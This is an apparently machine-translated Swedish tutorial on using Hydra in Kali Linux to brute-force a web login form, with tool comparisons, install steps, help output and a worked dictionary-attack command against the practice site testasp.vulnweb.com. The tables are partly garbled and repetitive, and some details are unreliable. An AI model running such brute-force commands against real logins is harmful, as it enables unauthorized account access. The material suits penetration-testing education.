Spricka webbaserad inloggningssida med Hydra i Kali Linux

Crack Web Based Login Page With Hydra Kali Linux



Ett lösenord definieras tekniskt som en hemlig teckensträng som används för att autentisera eller få tillgång till resurser. Det måste hållas i hemlighet och gömma sig för andra som inte får tillgång till dessa resurser. Lösenord har använts med datorer sedan de tidigaste datorerna. Ett av de första delningssystemen, introducerades 1961. Det hade ett inloggningskommando som begärde ett användarlösenord. Efter att ha skrivit LÖSENORD stänger systemet av utskriftsmekanismen, om möjligt, så att användaren kan skriva in sitt lösenord med integritet.

Styrkan i ett lösenord är en funktion av längd, komplexitet och oförutsägbarhet. Den mäter effektiviteten i att motstå att gissa eller bryta den. Svaga lösenord, däremot, förkortar den tid som krävs för att gissa och få tillgång till personlig/företags e-post, känslig information som finansiell information, företagsinformation, kreditkort, etc.







Det finns många sätt ett lösenord kan vara svagt, vilket motsvarar styrkan hos olika attackprogram. Den mest populära av denna typ av legitimationsattack är brutal kraft. det är en test- och felmetod som gissning, försök att avkoda krypterade data såsom lösenord eller datakryptering som används av applikationsprogram eller hackverktyg.



Hydra är den snabbaste inloggningsknäcken för nätverk som stöder många attackprotokoll. Det är mycket snabbt och flexibelt, och nya moduler är lätta att lägga till. Detta verktyg gör det möjligt för forskare och säkerhetskonsulter att visa hur enkelt det skulle vara att få obehörig åtkomst till ett system på distans. Hydra skrevs av van Hauser och stöds dessutom av David Maciejak. I den senaste uppdateringen flyttas hydra-utvecklingen till det offentliga github-förvaret på: https://github.com/vanhauser-thc/thc-hydra.



Hydra testades för att kompilera på Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1, OpenBSD, OSX, QNX/Blackberry, och görs tillgänglig under GPLv3 med en speciell OpenSSL -licensutvidgning.





THC Hydra stöder dessa protokoll: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP (S) -FORM-GET, HTTP (S) -FORM-POST, HTTP (S) -GET, HTTP (S) -HEAD , HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 och v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC och XMPP.

JÄMFÖR HYDRA MED ANDRA SPRÄCKVAROR

Det finns också många verktyg för inloggningsknäckare bredvid hydra, men ingen stöder en enorm lista med protokoll och parallellt stöd för inloggningskracker som hydra gör. Tabellerna nedan visar resultatet av funktioner, tjänster och hastighetsjämförelse mot medusa och ncrack.



Funktioner

Funktion Hydra manet Ncrack
Licens AGPLv3 GPLv2 GPLv2 + Nmap -termer
IPv6 -stöd Ja Nej Nej
Grafiskt användargränssnitt Ja Ja Nej
Internationaliserat stöd (RFC 4013) Ja Nej Nej
HTTP -proxysupport Ja Ja Nej
SOCKS proxysupport Ja Nej Nej
Protokoll som stöds 51 22 7

Tjänster

Spricka webbaserad inloggningssida med

Service Detaljer Hydra manet Ncrack
ADAM-6500 Ja Nej Nej
AFP Ja Ja Nej
Asterisk Ja Nej Nej
Cisco -lösenord Ja Nej Nej
Cisco Aktivera Ja Nej Nej
CVS Ja Ja Nej
eldfågel Ja Nej Nej
FTP Ja Ja Ja
SSL -stöd AUTH TLS & FTP över SSL AUTH TLS & FTP över SSL Nej
HTTP Metod (er) FÅ, HEAD, POST SKAFFA SIG SKAFFA SIG
Grundläggande autentisering Ja Ja Ja
HTTP -formulär Metod (er) FÅ, POST FÅ, POST Nej
SSL -stöd HTTPS HTTPS Nej
Http proxy Grundläggande autentisering Ja Nej Nej
DIGEST-MD5 Auth Ja Nej Nej
NTLM Auth Ja Nej Nej
SSL -stöd HTTPS Nej Nej
HTTP PROXY URL Uppräkning Ja Nej Nej
ICQ v5 Ja
1
Nej Nej
IMAP LOGGA in support Ja Ja Nej
AUTH LOGIN -stöd Ja Nej Nej
AUTH PLAIN -stöd Ja Ja Nej
AUTH CRAM-MD5-stöd Ja Nej Nej
AUTH CRAM-SHA1-stöd Ja Nej Nej
Support för AUTH CRAM-SHA256 Ja Nej Nej
AUTH DIGEST-MD5-stöd Ja Nej Nej
AUTH NTLM -stöd Ja Ja Nej
AUTH SCRAM-SHA1 stöd Ja Nej Nej
SSL -stöd IMAPS & STARTTLS IMAPS & STARTTLS Nej
IRC Allmänt serverlösenord Ja Nej Nej
OPER -läge lösenord Ja Nej Nej
LDAP v2, enkelt stöd Ja Nej Nej
v3, enkelt stöd Ja Nej Nej
v3, AUTH CRAM-MD5-stöd Ja Nej Nej
AUTH DIGEST-MD5-stöd Ja
AUTH NTLM -stöd Ja Ja
AUTH SCRAM-SHA1 stöd Ja
SSL -stöd IMAPS & STARTTLS IMAPS & STARTTLS
IRC Allmänt serverlösenord Ja
OPER -läge lösenord Ja
LDAP v2, enkelt stöd Ja
v3, enkelt stöd Ja
v3, AUTH CRAM-MD5-stöd Ja
v3, AUTH DIGEST-MD5-stöd Ja
MS-SQL Ja Ja
MySQL v3.x Ja Ja
v4.x Ja Ja
v5.x Ja Ja
NCP Ja Ja
NNTP USER -stöd Ja Ja
AUTH LOGIN -stöd Ja
AUTH PLAIN -stöd Ja
AUTH CRAM-MD5-stöd Ja
AUTH DIGEST-MD5-stöd Ja
AUTH NTLM -stöd Ja
SSL -stöd STARTTLS & NNTP över SSL
Orakel Databas Ja Ja
TNS lyssnare Ja
SID -uppräkning Ja
PC-NFS Ja
pcAnywhere Ursprunglig autentisering Ja Ja
OS -baserad autentisering (MS) Ja
POP3 USER -stöd Ja Ja Ja
APOP -stöd Ja
AUTH LOGIN -stöd Ja Ja
AUTH PLAIN -stöd Ja Ja
AUTH CRAM-MD5-stöd Ja
AUTH CRAM-SHA1-stöd Ja
Support för AUTH CRAM-SHA256 Ja
AUTH DIGEST-MD5-stöd Ja
AUTH NTLM -stöd Ja Ja
SSL -stöd POP3S & STARTTLS POP3S & STARTTLS POP3S
PostgreSQL Ja Ja
Asterisk Ja
RDP Windows arbetsstation Ja Ja Ja
Windows Server Ja Ja
Domain Auth Ja Ja
REDIS Ja Nej
REXEC Ja Ja
LOGGA IN Ja Ja
RPCAP Ja Nej
RSH Ja Ja
RTSP Ja Nej
SAP R / 3 Ja
Siemens S7-300 Ja
SMUTTA Ja
SSL -stöd SIP över SSL
SMB NetBIOS -läge Ja Ja Nej
W2K Native Mode Ja Ja Ja
Hashläge Ja Ja Nej
Rensa text Auth Ja Ja
LMv1 Auth Ja Ja Ja
LMv2 Auth Ja Ja Ja
NTLMv1 Auth Ja Ja Ja
NTLMv2 Auth Ja Ja Ja
SMTP AUTH LOGIN -stöd Ja Ja
AUTH PLAIN -stöd Ja Ja
AUTH CRAM-MD5-stöd Ja
AUTH DIGEST-MD5-stöd Ja
AUTH NTLM -stöd Ja Ja
SSL -stöd SMTPS & STARTTLS SMTPS & STARTTLS
SMTP User Enum VRFY cmd Ja Ja
EXPN cmd Ja Ja
RCPT TO cmd Ja Ja
SNMP v1 Ja Ja
v2c Ja Ja
v3 (Endast MD5/SHA1 -autentisering)
STRUMPOR v5, Password Auth Ja
SSH v1 Ja
v2 Ja Ja Ja
SSH -nycklar v1, v2 Ja
Subversion (SVN) Ja Ja
TeamSpeak TS2 Ja
Telnet Ja Ja Ja
XMPP AUTH LOGIN -stöd Ja
AUTH PLAIN -stöd Ja
AUTH CRAM-MD5-stöd Ja
AUTH DIGEST-MD5-stöd Ja
AUTH SCRAM-SHA1 stöd Ja
VMware Auth Daemon v1.00 / v1.10 Ja Ja
SSL -stöd Ja Ja
VNC RFB 3.x lösenordsstöd Ja Ja
RFB 3.x användare+lösenordsstöd (Endast UltraVNC)
RFB 4.x lösenordsstöd Ja Ja
RFB 4.x användare+lösenordsstöd (Endast UltraVNC)

Hastighetsjämförelse

Hastighet (i) Hydra manet Ncrack
1 Uppgift / FTP -modul 11.93 12,97 18.01
4 Uppgifter / FTP -modul 4,20 5.24 9.01
16 Uppgifter / FTP -modul 2.44 2,71 12.01
1 Task / SSH v2 -modul 32,56 33,84 45.02
4 Uppgifter / SSH v2 -modul 10,95 Bruten Missad
16 Uppgifter / SSH v2 -modul 5.14 Bruten Missad

Det var en kort enkel introduktion till hydra. Nu kan vi gå vidare till installationen.

INSTALLERA HYDRA

Hydra är förinstallerat på kali linux, men om du har ett annat operativsystem kan du kompilera och installera det på ditt system. För närvarande är hydras support på olika plattformar:

  • Alla UNIX -plattformar (Linux, *bsd, Solaris, etc.)
  • MacOS (i grunden en BSD -klon)
  • Windows med Cygwin (både IPv4 och IPv6)
  • Mobila system baserade på Linux, MacOS eller QNX (t.ex. Android, iPhone, Blackberry 10, Zaurus, iPaq)

För att ladda ner, konfigurera, kompilera och installera hydra, skriv bara in i terminalen:

git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install 

Om du har Ubuntu/Debian behöver du några beroendebibliotek:

apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev 

Om du inte kunde hitta dessa bibliotek i ditt förråd måste du ladda ner och installera dem manuellt.

HUR DU ANVÄNDER HYDRA

Grattis, nu har du lyckats installera hydra på ditt system. Egentligen kommer Hydra med två smaker, GUI-gtk och min favorit, CLI-version. och dessutom har hydra också en CLI-guidad version, som kallas hydra-wizard. Du guidas steg för steg istället för att skriva alla kommandon eller argument manuellt i terminalen. För att köra hydra, från din terminal typ:

För CLI:

hydra

För CLI-guiden:

hydra-wizard

För GUI:

xhydra

När du har skrivit 'hydra' visar den hjälpkommandon så här:

 [email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh

Bruteforce webbaserad inloggning med hydra

Hydra stöder någon bruteforceringstjänst som jag nämnde tidigare, en av dem används för att bruteforce webbaserade inloggningar som, inloggningsformulär för sociala medier, inloggningsformulär för användarbank, din router webbaserad inloggning etc. Att http [s] -get-form som kommer att hantera denna begäran. I denna handledning kommer jag att visa dig hur du bruteforce sårbara webbinloggningar. Innan vi sätter igång hydra bör vi känna till några nödvändiga argument som nedan:

  • Mål : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
  • Logga in användarnamn : admin (om du inte är säker, bruteforce detta)
  • Lösenordslista : Platsen för ordlistans fillista som innehåller möjliga lösenord.
  • Formparametrar : för allmänhet, använd manipuleringsdata eller proxy för att få form av förfrågningsparametrar. Men här använder jag iceweasel, firefox -baserat verktygsfält för nätverksutvecklare.
  • Servicemodul : http-post-formulär
Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.

Skaffa postparametrar med webbläsare, iceweasel/firefox

Tryck på knapparna i din Firefox -webbläsare CTRL + SKIFT + F ’. Öppna sedan webbinloggningssidanhttp://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F, kommer du att märka att en del text visas på fliken nätverksutvecklare. Den berättar vilka filer som överförs till oss. Se metoden alla är GET, eftersom vi inte har postat data ännu.

För att få parametrarna efter formuläret, skriv vad som helst i formuläret för användarnamn och eller lösenord. Du kommer att märka en ny POST -metod på fliken nätverksutvecklare. Dubbelklicka på den raden, på fliken Rubriker klickar du på Redigera och skicka på nytt till höger. Kopiera den sista raden, t.ex. tfUName = asu & tfUPass = raimu . de tfUName och tfUPass är parametrar vi behöver. Som framgår nedan:

Kali linux har massor av ordlistor, välj lämplig ordlista eller använd bara rockyou.txt plats i /usr/share/wordlists/ enligt nedan:

Okej, nu har vi alla argument vi behöver och redo att elda upp hydra. Här är kommandomönstret:

hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f

Låt oss bryta ner kommandona:

  • de : är ett ord som innehåller användarnamnkonto, använd -L för att referera lista över möjliga användarnamn i en fil.
  • P : är en fillista med möjliga lösenord, använd -p för att bokstavligen använda ett ords lösenord istället för att gissa det.
  • testapp.vunlwebapp.com : är ett värdnamn eller mål
  • http-post-formulär : är servicemodulen vi använder
  • /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout = de tre parametrar som behövs är syntaxen:
    {sida URL}: {Begär parametrar för postkroppsform}} S = {Hitta vad som helst på sidan efter att du har loggat in}
  • v = Ordligt läge
  • V = visa inloggning: passera för varje försök
  • f = Avsluta programmet om parinloggning: lösenord hittas

Låt nu låta hydra försöka bryta lösenordet för oss, det behöver tid eftersom det är en ordbokattack. När du lyckades hitta ett par inloggning: lösenord hydra kommer omedelbart att avsluta jobbet och visa giltig legitimation.

Det finns så mycket som hydra skulle kunna göra, eftersom vi i den här självstudien precis lärt oss hur man bruteforce webbaserad inloggning med hydra, vi lär oss bara ett protokoll, det vill säga http-post-form-protokoll. Vi kan också använda hydra mot ett annat protokoll som ssh, ftp, telnet, VNC, proxy, etc.